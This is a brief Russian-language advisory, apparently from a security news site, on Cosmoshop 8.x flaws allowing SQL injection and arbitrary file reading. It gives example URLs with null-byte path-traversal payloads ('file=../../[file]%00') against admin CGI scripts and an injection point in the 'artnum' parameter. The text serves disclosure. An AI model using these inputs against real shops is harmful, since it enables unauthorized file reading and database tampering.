Программа: Cosmoshop 8.x

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения, а так же просмотреть
произвольные файлы на системе.

Пример:

http://[host]/cgi-bin/admin/bestellvorgang/edit_mailtexte.cgi?file=../../[file]%00
http://[host]/cgi-bin/admin/bestmail.cgi?action=view&file=../../[file]%00

http://[host]/cgi-bin/lshop.cgi?action=showdetail&artnum= [code]&wkid=2002g&ls=d&nocache=

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

    • Открыть комментарии
    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии